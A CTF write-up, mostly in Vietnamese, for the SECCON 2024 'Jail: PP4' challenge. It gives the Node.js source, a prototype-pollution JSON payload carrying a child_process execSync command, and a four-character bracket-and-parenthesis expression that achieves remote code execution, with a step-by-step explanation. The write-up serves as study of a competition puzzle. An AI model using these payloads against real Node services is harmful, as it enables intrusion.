SECCON 2024
Jail: PP4
1
2
3
4
Let's enjoy the polluted programming💥
nc pp4.seccon.games 5000
pp4.tar.gz 5efe669fba98d1d52413679cbf955de8da616322
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
const clone = (target, result = {}) => {
for (const [key, value] of Object.entries(target)) {
if (value && typeof value == "object") {
if (!(key in result)) result[key] = {};
clone(value, result[key]);
} else {
result[key] = value;
}
}
return result;
};
(async () => {
// Step 1: Prototype Pollution
const json = (await rl.question("Input JSON: ")).trim();
console.log(clone(JSON.parse(json)));
// Step 2: JSF**k with 4 characters
const code = (await rl.question("Input code: ")).trim();
if (new Set(code).size > 4) {
console.log("Too many :(");
return;
}
console.log(eval(code));
})().finally(() => rl.close());
Cách làm bài này được comment khá rõ ràng ngay trong source, trước tiên ta phải prototype pollution sau đó là JSFuck với 4 ký tự.
Để call function thì ta cần 2 ký tự “(“ và “)” nên 2 ký tự còn lại chắc chắn là “[” và “]”
Vậy từ “[”, “]” làm sao để tạo được function để eval trigger nó ?
Ta có thể tạo một anonymous function như thế này Function("console.log(1)")()
Vậy bằng cách nào đó ta phải từ [ và ] lấy được 2 thứ Function
và console.log(1)
.
Để làm được ta có thể làm như sau:
- Đầu tiên pollute prototype của Object với
__proto__
như sau
1
2
3
4
5
6
{
"__proto__": {
"": "constructor",
"undefined": "console.log(process.mainModule.require('child_process').execSync('echo pwd').toString())"
}
}
- Về lý do thì mình giải thích sau và tiếp tục là payload
1
[][[][[]]][[][[]]]([][([][[][[]]][[][[]]]()())])()
Ok, vậy là xong nó đã in ra pwd có nghĩa là đã RCE được
Giải thích:
Sau khi pollution prototype của Object xong thì hiện tại nếu ta truy cập đế
Object[""]
thì nó sẽ trả về'constructor'
,Object.undefined
( hoặcObject["undefined"]
) sẽ trả vềconsole.log(process.mainModule.require('child_process').execSync('echo pwd').toString())
, ta có thể dựa vào cách Array trong Javascript hoạt động để gọi ra những thứ này- Đầu tiên
[]-> Array rỗng
,[][[]]->Array[[]]
, trong Javascript, tất cả key đều bị ép về string nên nếu [] là key của một Object thì nó sẽ trả về “” ->Array[""]
-> Lúc này JS sẽ tiến hành kiếm key""
(string rỗng) trong Array, lúc này do chúng ta đã pollute prototype của Object nên Array sẽ kế thừa thuộc tính này và trả vềconstructor
vậy là ta đã có được chữconstructor
- Dựa vào đây
constructor
ta có thể lấy đượcFunction
bằng cách[].constructor.constructor
->[][[][[]]][[][[]]]
. Sau khi có đượcFunction
ta có thể lấyundefined
bằng cách tạo 1 anonymous function không có giá trị trả về nó sẽ tự động trả vềundefined
Từ
undefined
ta tương tự ta có thể lấy đượcconsole.log(process.mainModule.require('child_process').execSync('echo pwd').toString())
bằng cách[][[][[][[]]][[][[]]]()()]
-> Array[“undefined”] ->console.log(process.mainModule.require('child_process').execSync('echo pwd').toString())
Vậy ta đã có đủ thứ để tạo một function mới ta có thể tạo một Function và call nó bằng cách sau
1
Function("console.log(1)")()
dựa vào đó ->
[][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])()
Nó sẽ tạo thành Function như thế này
Vậy là RCE thành công
Web: Trillion Bank
Updating…
Web: self-ssrf
Updating…
Web: Tanuki Udon
Updating…